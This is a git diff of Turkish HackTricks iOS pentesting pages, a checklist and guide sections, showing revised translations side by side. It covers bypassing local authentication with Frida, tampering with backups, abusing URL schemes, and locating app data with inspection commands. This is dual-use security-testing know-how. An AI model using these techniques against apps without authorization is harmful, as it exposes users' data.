* [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek** için kullanılabilir, ardından yedeği telefona **geri yükleyerek** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevselliğin atlatılabileceği** kontrol edilebilir * [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) **işlevselliği** atlanabilir
### **Uygulamaların Belleği** ### **Uygulamaların Belleği**
* [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin * [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin
### **Kırık Şifreleme** ### **Kırık Şifreleme**
* [ ] **Şifreleme için kullanılan şifreleri** (ios-pentesting/#broken-cryptography) bulabilir misiniz kontrol edin * [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz?
* [ ] Hassas verileri göndermek/depolamak için **eskimiş/zayıf algoritmaların** kullanılıp kullanılmadığını kontrol edin * [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin
* [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography) * [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography)
### **Yerel Kimlik Doğrulama** ### **Yerel Kimlik Doğrulama**
@ -80,30 +80,30 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] Eğer [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa kolayca atlatılabilir * [ ] Eğer [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa kolayca atlatılabilir
* [ ] Eğer [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanılıyorsa özel bir frida betiği oluşturabilirsiniz * [ ] Eğer [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanılıyorsa özel bir frida betiği oluşturabilirsiniz
### IPC Aracılığıyla Hassas İşlevlerin Açığa Çıkması ### IPC Aracılığıyla Hassas İşlevsellik Maruz Kalma
* [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin * [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin
* [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin * [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin
* [ ] Uygulamanın özel şemadan gelen hassas bilgileri almayı beklediğini kontrol edin ve aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek** hassas bilgileri almayı beklediğini kontrol edin * [ ] Uygulamanın özel şemadan gelen hassas bilgileri almayı beklediğini kontrol edin ve aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek** hassas bilgileri almayı beklediğini kontrol edin
* Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** kontrol edin ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin * Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
* Uygulamanın özel şema aracılığıyla **herhangi bir hassas işleviığa çıkardığını** kontrol edin * Uygulamanın herhangi bir yerden özel şema aracılığıyla çağrılabilen **hassas bir işlevsellikığa çıkardığını** kontrol edin
* [**Evrensel Bağlantılar**](ios-pentesting/#universal-links) * [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
* [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin * [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin
* `apple-app-site-association` dosyasını kontrol edin * `apple-app-site-association` dosyasını kontrol edin
* Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** kontrol edin ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin * Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
* Uygulamanın özel şema aracılığıyla **herhangi bir hassas işleviığa çıkardığını** kontrol edin * Uygulamanın herhangi bir yerden özel şema aracılığıyla çağrılabilen **hassas bir işlevsellikığa çıkardığını** kontrol edin
* [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md) * [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin * [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin * [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin
* [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin * [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin
* Panoyu izleyerek herhangi bir **hassas verinin kopyalanıp kopyalanmadığını** kontrol edin * **Hassas verilerin kopyalanıp kopyalanmadığını** görmek için panoyu izleyin
* [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md) * [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md)
* [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin * [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin
* [**Web Görünümleri**](ios-pentesting/ios-webviews.md) * [**Web Görünümleri**](ios-pentesting/ios-webviews.md)
* [ ] Kullanılan web görünümlerini kontrol edin * [ ] Kullanılan web görünümlerinin türlerini kontrol edin
* **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin * **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumlarını kontrol edin
* Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) * Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`) * Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`)
### Ağ İletişimi ### Ağ İletişimi
@ -119,20 +119,20 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -140,7 +140,7 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,10 +1,10 @@
# iOS Pentesting # iOS Pentesting
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Hemen Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -14,11 +14,11 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details> </details>
@ -145,7 +145,7 @@ grep -iER "_vsprintf"
### Temel Dinamik Analiz ### Temel Dinamik Analiz
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analize göz atın. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak birçok sınıfa bağlanacak ve diğer işlemleri yapacak ve işiniz bittiğinde bir rapor hazırlayacaktır. [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak birçok sınıfa kanca takacak ve diğer işlemleri yapacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
### Yüklü Uygulamaların Listelenmesi ### Yüklü Uygulamaların Listelenmesi
@ -172,26 +172,26 @@ Uygulamanın bileşenlerini **numaralandırma** ve yöntemleri ve sınıfları k
### IPA Yapısı ### IPA Yapısı
Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paket** yapısındadır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız. Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paketin** yapısıdır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
* **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar. * **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar.
* **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir. * **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir.
* **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv. * **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv.
* **`Frameworks/`**: Bu klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir. * **`Frameworks/`**: Bu klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir.
* **`PlugIns/`**: Bu, uygulamanın uzantılarını içerebilir, `.appex` dosyaları olarak bilinir, ancak her zaman mevcut değildir. * **`PlugIns/`**: Bu, uygulamanın uzantılarını içerebilir, `.appex` dosyaları olarak bilinirler, ancak her zaman mevcut değillerdir.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır. * [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur. * [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur.
* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir. * **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir.
* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar. * **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir. * **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu, uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphanelerini (`Frameworks/`) içermelerine ve uygulama işlevselliğini genişletmelerine (`PlugIns/`) olanak tanır. * **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphanelerini (`Frameworks/`) içermelerine ve uygulama işlevselliğini genişletmelerine (`PlugIns/`) olanak tanır.
* **Yerelleştirme**: Yapı, özel dil paketleri için kaynakları içererek çoklu dilleri destekler, böylece belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır. * **Yerelleştirme**: Yapı, birden fazla dil desteğini destekler, belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır.
**Info.plist** **Info.plist**
**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, ana yapılandırma verilerini **anahtar-değer** çiftleri şeklinde kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde paketlenmiş çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı keşif için [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir. **Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, temel yapılandırma verilerini **anahtar-değer** çiftleri şeklinde kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde paketlenmiş çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı bir keşif için, [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir.
Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta çalışmak için XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm için komutlar şunlardır: Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta çalışmak için XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm komutları şunlardır:
* **macOS için**: * **macOS için**:
```bash ```bash
@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils $ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist $ plistutil -i Info.plist -o Info_xml.plist
``` ```
**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girişler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, `grep` komutunu kullanarak dosyayı inceleyerek veya basit bir şekilde yerini tespit edebilir. **Info.plist** dosyasının ifşa edebileceği bilgi yelpazesinin arasında, dikkate değer girişler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations` gibi dışa aktarılan/içe aktarılan özel belge tipleri gibi diğer girişlerle birlikte, dosyayı inceleyerek veya basit bir `grep` komutu kullanarak kolayca bulunabilir.
```bash ```bash
$ grep -i <keyword> Info.plist $ grep -i <keyword> Info.plist
``` ```
**Veri Yolları** **Veri Yolları**
iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir kimlik ataması yapılır, bu nedenle uygulamanın klasörünü manuel olarak bulmak rastgele dizin adlarından dolayı zor olabilir. iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir kimlik ataması yapılır, bu nedenle uygulamanın klasörünü manuel olarak bulmak zor olabilir çünkü dizin adlarının rastgele olmasıdır.
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir `env` komutu sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır: Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
```bash ```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -221,11 +221,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
``` ```
Alternatif olarak, uygulama adı `find` komutu kullanılarak `/private/var/containers` içinde aranabilir: Alternatif olarak, uygulama adı `find` komutunu kullanarak `/private/var/containers` içinde aranabilir:
```bash ```bash
find /private/var/containers -name "Progname*" find /private/var/containers -name "Progname*"
``` ```
Komutlar `ps` ve `lsof` ayrıca uygulamanın işlemini tanımlamak ve sırasıyla açık dosyaları listelemek için kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar: Komutlar `ps` ve `lsof` gibi, sırasıyla uygulamanın işlemini tanımlamak ve açık dosyaları listelemek için de kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar:
```bash ```bash
ps -ef | grep -i <app-name> ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1 lsof -p <pid> | grep -i "/containers" | head -n 1
@ -249,27 +249,27 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi. * **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi.
* iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir. * iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
* **Library/Caches/** * **Library/Caches/**
* **Yarı kalıcı önbellek dosyalarını** içerir. * **Yarı kalıcı önbelleklenmiş dosyaları** içerir.
* Kullanıcılara **görünmez ve kullanıcılar yazamaz**. * Kullanıcılara görünmez ve **kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenmez**. * Bu dizindeki içerik **yedeklenmez**.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir. * Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
* **Library/Application Support/** * **Library/Application Support/**
* Uygulamanın çalıştırılması için gerekli olan **kalıcı dosyaları** içerir. * Uygulamanın çalıştırılması için gerekli olan **kalıcı dosyaları** içerir.
* Kullanıcılara **görünmez ve kullanıcılar yazamaz**. * Kullanıcılara **görünmez** ve kullanıcılar yazamaz.
* Bu dizindeki içerik **yedeklenir**. * Bu dizindeki içerik **yedeklenir**.
* Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir. * Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir.
* **Library/Preferences/** * **Library/Preferences/**
* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır. * Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır.
* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama kum havuzunun içinde kaydedilir. * Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama sandbox'ının içinde kaydedilir.
* `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir. * `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
* **tmp/** * **tmp/**
* Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın. * Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın.
* Kalıcı olmayan önbellek dosyalarını içerir. * Kalıcı olmayan önbelleklenmiş dosyaları içerir.
* Kullanıcılara **görünmez**. * Kullanıcılara **görünmez**.
* Bu dizindeki içerik yedeklenmez. * Bu dizindeki içerik **yedeklenmez**.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir. * Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
